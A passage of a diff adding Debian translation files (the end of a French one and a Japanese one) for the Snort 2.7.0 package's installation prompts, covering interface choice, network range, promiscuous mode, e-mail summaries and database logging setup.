+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Le fichier de configuration de Snort (/etc/snort/snort.conf) utilise des "
+"options qui ne sont plus disponibles dans cette version du logiciel. Snort "
+"ne pourra pas démarrer tant que le fichier de configuration ne sera pas "
+"corrigé. Vous pouvez remplacer ce fichier par celui fourni avec ce paquet ou "
+"le corriger vous-même pour supprimer les options obsolètes."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Liste des options obsolètes dans le fichier de configuration : ${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Utilisation manuelle de Snort"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Erreur dans la configuration"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "Au démarrage, À la connexion, Manuellement "
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Méthode de lancement de Snort :"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Vous pouvez, si vous le souhaitez, indiquer « any » pour n'accorder votre "
+#~ "confiance à aucune partie du réseau."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Une des interfaces que vous avez indiquées n'est pas valable (soit elle "
+#~ "n'existe pas sur le système soit elle n'est pas actuellement active). "
+#~ "Veuillez indiquer uniquement des interfaces valables."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Si vous ne configurez pas d'interface, le paquet tentera d'utiliser "
+#~ "l'interface par défaut (« eth0 ») qui ne semble pas valable sur votre "
+#~ "système."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si vous changez l'ordre de vérification de Snort en « Pass|Alert|"
+#~ "Log » (faire passer, alerter puis journaliser), les règles seront "
+#~ "appliquées dans cet ordre plutôt que l'ordre habituel Alert->Pass->Log "
+#~ "(alerter, faire passer puis journaliser). Cela permet d'éviter à certains "
+#~ "l'utilisation d'arguments complexes de ligne de commande Berky Packet "
+#~ "Filter pour filtrer les alarmes reçues."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Le paquet de Snort permet d'utiliser une tâche quotidienne de cron qui "
+#~ "résume les informations contenues dans les journaux de Snort et l'envoie "
+#~ "à une adresse électronique donnée. Ne choisissez pas cette option si vous "
+#~ "ne voulez pas recevoir ces rapports."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Une tâche quotidienne de cron générera un résumé de l'information des "
+#~ "journaux de Snort avec un script appelé « snort-stat ». Veuillez indiquer "
+#~ "le destinataire de ces courriels. Par défaut, ce sera le super-"
+#~ "utilisateur. Si vous conservez ce choix, veuillez vous assurer que les "
+#~ "courriels qui lui sont destinés sont redirigés vers un utilisateur qui "
+#~ "les lira effectivement."
+
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Si vous souhaitez utiliser des options personnelles avec Snort, veuillez "
+#~ "les indiquer ici."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Veuillez redémarrer Snort avec :\n"
+#~ " /etc/init.d/snort restart\n"
+#~ "afin que ce réglage soit pris en compte."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Votre configuration de Snort est incorrecte, ce qui l'empêchera de "
+#~ "démarrer normalement. Veuillez la relire et la corriger. Dans le cas "
+#~ "contraire, les mises à niveau du paquet de Snort échoueront probablement. "
+#~ "Pour découvrir quelle est l'erreur, vous pouvez utiliser la commande « /"
+#~ "usr/sbin/snort -T -c /etc/snort/snort.conf » (au besoin en adaptant le "
+#~ "chemin vers le fichier de configuration si vous utilisez différents "
+#~ "fichiers pour différentes interfaces)."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Cela ne doit être fait qu'une fois, à l'installation de snort-mysql. "
+#~ "Avant de continuer, assurez-vous d'avoir :\n"
+#~ "  - le nom d'hôte d'un serveur de bases de données MySQL (qui doit "
+#~ "accepter les connexions TCP de cette machine) ;\n"
+#~ "  - une base de données sur ce serveur ;\n"
+#~ "  - un nom d'utilisateur et un mot de passe pour accéder à cette base de "
+#~ "données.\n"
+#~ "Si vous n'avez pas l'ensemble de ces informations, vous pouvez refuser "
+#~ "ici et continuer avec une journalisation simple dans un fichier ou bien "
+#~ "corriger cela au préalable. Il vous sera toujours possible de mettre en "
+#~ "place la journalisation dans une base de données ultérieurement en "
+#~ "reconfigurant le paquet snort-mysql avec la commande « dpkg-reconfigure "
+#~ "snort-mysql »."
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Veuillez indiquer un identifiant de connexion au serveur de bases de "
+#~ "données après avoir vérifié que cet utilisateur existe et qu'il possède "
+#~ "des droits d'écriture sur la base de données."
+
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr "Base de données existante indispensable pour les journaux de Snort"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Cela ne doit être fait qu'une fois, à l'installation de snort-pgsql. "
+#~ "Avant de continuer, assurez-vous d'avoir :\n"
+#~ "  - le nom d'hôte d'un serveur de bases de données PostgreSQL (qui doit "
+#~ "accepter les connexions TCP de cette machine) ;\n"
+#~ "  - une base de données sur ce serveur ;\n"
+#~ "  - un nom d'utilisateur et un mot de passe pour accéder à cette base de "
+#~ "données.\n"
+#~ "Si vous n'avez pas l'ensemble de ces informations, vous pouvez refuser "
+#~ "ici et continuer avec une journalisation simple dans un fichier ou bien "
+#~ "corriger cela au préalable. Il vous sera toujours possible de mettre en "
+#~ "place la journalisation dans une base de données ultérieurement en "
+#~ "reconfigurant le paquet snort-pgsql avec la commande « dpkg-reconfigure "
+#~ "snort-pgsql »."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Fichier de configuration obsolète"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort a besoin d'une base de données configurée pour pouvoir démarrer. "
+#~ "Veuillez créer la structure de base de données APRÈS l'installation du "
+#~ "paquet :\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_pgsql.gz | psql -U <utilisateur> -h <hôte> -W <base de "
+#~ "données>\n"
+#~ "Vous devez indiquer les valeurs appropriées pour l'utilisateur, l'hôte et "
+#~ "le nom de la base de données. PostgreSQL vous demandera ensuite le mot de "
+#~ "passe."
--- snort-2.7.0.orig/debian/po/ja.po
+++ snort-2.7.0/debian/po/ja.po
@@ -0,0 +1,893 @@
+# 
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+# 
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# 
+#    Developers do not need to manually edit POT or PO files.
+# 
+# 
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.7.0-10\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-01-31 07:26+0900\n"
+"Last-Translator: Hideki Yamane (Debian-JP) <henrich@debian.or.jp>\n"
+"Language-Team: Japanese <debian-japanese@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+#, fuzzy
+#| msgid ""
+#| "Snort can be started during boot, when connecting to the net with pppd or "
+#| "only when you manually start it via /usr/sbin/snort."
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort は、システム起動中、pppd を利用してネットワークに接続した時、または \"/"
+"usr/sbin/snort\" と手動で実行した時のみ、のいずれかで起動できます。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Snort が listen するインターフェイス:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "This value usually is 'eth0', but you might want to vary this depending "
+#| "on your environment; if you are using a dialup connection 'ppp0' might be "
+#| "more appropiate (Hint: use 'ip link show' or 'ifconfig')."
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"ここでの値は通常 'eth0' ですが、環境よっては変更したいかもしれません。ダイヤ"
+"ルアップ接続を利用している場合は、'ppp0' がより適切でしょう (ヒント: 'ip "
+"link show' か 'ifconfig' を使ってください)。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Typically this is the same interface than the 'default route' is on.  You "
+#| "can determine which interface is used for this running either '/sbin/ip "
+#| "ro sh' or '/sbin/route -n' (look for 'default' or '0.0.0.0')."
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"大抵の場合、これは 'default route' が存在するものと同じです。どのインターフェ"
+"イスを使うかは、'/sbin/ip ro sh' または '/sbin/route -n' を実行して "
+"('default' または '0.0.0.0' を探して)、決めることができます。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "It is also not uncommon to use an interface with no IP and configured in "
+#| "promiscuous mode, if this is your case, select the interface in this "
+#| "system that is physically connected to the network you want to inspect, "
+#| "enable promiscuous mode later on and make sure that the network traffic "
+#| "is sent to this interface (either connected to a 'port mirroring/"
+#| "spanning' port in a switch, to a hub or to a tap)"
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"IP を付与していないインターフェイス上で promiscuous モードの Snort を動作させ"
+"るのはあまり一般的ではありません。このような場合、受信を行いたいネットワーク"
+"に対して物理的に接続されているこのシステム上のインターフェイスを選択し、後ほ"
+"ど promiscuous モードを有効にしてネットワークトラフィックがこのインターフェイ"
+"ス (スイッチの 'port mirrorining/spanning' ポートかハブ、あるいはネットワーク"
+"タップに接続されています) に届いているのを確認してください。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "You can configure multiple interfaces here, just by adding more than one "
+#| "interface name separated by spaces. Each interface can have its specific "
+#| "configuration."
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"ここでは単に一つ以上のインターフェイス名を空白で区切ることで、複数のインター"
+"フェイスを設定できます。インターフェイスごとに固有の設定が可能です。"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid "Address range that Snort will listen on:"
+msgid "Address range for the local network:"
+msgstr "Snort が listen するアドレスの範囲:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#| "192.168.1.42/32 for just one. Specify multiple addresses on a single line "
+#| "separated by ',' (comma characters), no spaces allowed!"
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"CIDR 形式での記述が必要です。例えば 192.168.1.0/24 は 256 個の IP ブロック"
+"で、192.168.1.42/32 は IP 1 個となります。複数のアドレスは 1 行で ',' (カン"
+"マ) で区切って記述します。スペース (空白) は使えません!"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "Notice that if you are using multiple interfaces this definition will be "
+#| "used as the HOME_NET definition of all of them."
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"複数のインターフェイスを使っている場合、この定義は全てのインターフェイスの "
+"HOME_NET 定義として利用されることに注意してください。"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort は、このインターフェイスで promiscous モードを無効にしますか?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+#, fuzzy
+#| msgid ""
+#| "Disabling promiscuous mode means that Snort will only see packets "
+#| "addressed to it's own interface. Enabling it allows Snort to check  every "
+#| "packet that passes ethernet segment even if it's a connection between two "
+#| "other computers."
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"promiscuous モードを無効にすることによって Snort は自身の持つインターフェイス"
+"へ向けられたパケットのみを監視します。有効にすると、他のコンピュータ間のやり"
+"取りを含めたイーサネットセグメント上の全てのパケットをチェックするようになり"
+"ます。"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "不正なインターフェイス"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+#, fuzzy
+#| msgid "Should Snort's rules testing order be changed to Pass|Alert|Log?"
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Snort のルールセットのテスト順を Pass|Alert|Log に変更しますか?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "メールで毎日サマリを送りますか?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "誰が日次統計のメールの宛先:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "追加のカスタムオプション:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid "Minimum occurence to report alerts:"
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "アラートを報告する最小発生件数:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid ""
+#| "An alert needs to appear more times than this number to be included in "
+#| "the daily statistics."
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"日時統計へ反映されるには、この回数よりもアラートが多く現れる必要があります。"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Obsolete configuration file"
+msgstr "古い設定ファイルがこのシステムでは使われています。"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid ""
+#| "Your system has an obsolete configuration file (/etc/snort/snort.common."
+#| "parameters) which has been automatically converted into the new "
+#| "configuration file format (at /etc/default/snort). Please review the new "
+#| "configuration and remove the obsolete one. Until you do this, the init.d "
+#| "script will not use the new configuration and you will not take advantage "
+#| "of the benefits introduced in newer releases."
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"システムに既に利用できない設定ファイル (/etc/snort/snort.common.parameters) "
+"があります。これは自動的に新しい設定ファイル形式 (/etc/default/snort にありま"
+"す) に変換されています。新しい設定を確認して、古い設定を削除してください。削"
+"除されるまで、init.d スクリプトは新しい設定を使おうとはしないので、新しいリ"
+"リースの恩恵を享受することはできません。"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid ""
+#| "Your system has an obsolete configuration file (/etc/snort/snort.common."
+#| "parameters) which has been automatically converted into the new "
+#| "configuration file format (at /etc/default/snort). Please review the new "
+#| "configuration and remove the obsolete one. Until you do this, the init.d "
+#| "script will not use the new configuration and you will not take advantage "
+#| "of the benefits introduced in newer releases."
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"システムに既に利用できない設定ファイル (/etc/snort/snort.common.parameters) "
+"があります。これは自動的に新しい設定ファイル形式 (/etc/default/snort にありま"
+"す) に変換されています。新しい設定を確認して、古い設定を削除してください。削"
+"除されるまで、init.d スクリプトは新しい設定を使おうとはしないので、新しいリ"
+"リースの恩恵を享受することはできません。"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-mysql to log to?"
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "snort-mysql を利用してログに記録するため、データベースを設定しますか?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "データベースサーバのホスト名:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+#, fuzzy
+#| msgid ""
+#| "Make sure it has been set up correctly to allow incoming connections from "
+#| "this host!"
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"このホストからの接続要求が許可されるように、設定を正しく行ってください!"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+#, fuzzy
+#| msgid "Database to use:"
+msgid "Database name:"
+msgstr "利用するデータベース:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "データベースへのアクセスに使うユーザ名:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+#, fuzzy
+#| msgid ""
+#| "Make sure this database has been created and your database user has write "
+#| "access to this database."
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"このデータベースが既に作られており、データベースユーザに書き込み権限があるの"
+"を確認してください。"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "データベース接続に使用するパスワード:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter a password to connect to the Snort Alert database."
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Snort アラートデータベース に接続する際に使用するパスワードを入力してくださ"
+"い。"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+#| msgid ""
+#| "Snort needs a configured database before it can successfully start up. In "
+#| "order to create the structure you need to run the following commands "
+#| "AFTER the package is installed:\n"
+#| " cd /usr/share/doc/snort-mysql/\n"
+#| " zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>\n"
+#| "Fill in the correct values for the user, host, and database names. MySQL "
+#| "will prompt you for the password."
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort が正しく動作する前にはデータベースの設定が必要です。データベースを作成"
+"するには、パッケージインストール「後」に以下のコマンドを入力する必要がありま"
+"す: \n"
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>\n"
+" ユーザ名、ホスト名、データベース名は適当なものを当てはめて入力してくださ"
+"い。 MySQL がパスワードを要求するはずです。"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+#| msgid ""
+#| "After you created the database structure, you will need to start Snort "
+#| "manually."
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "データベース作成後、手動で Snrot を起動する必要があります。"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-pgsql to log to?"
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "snort-pqsql を利用してログに記録するため、データベースを設定しますか?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Deprecated configuration file"
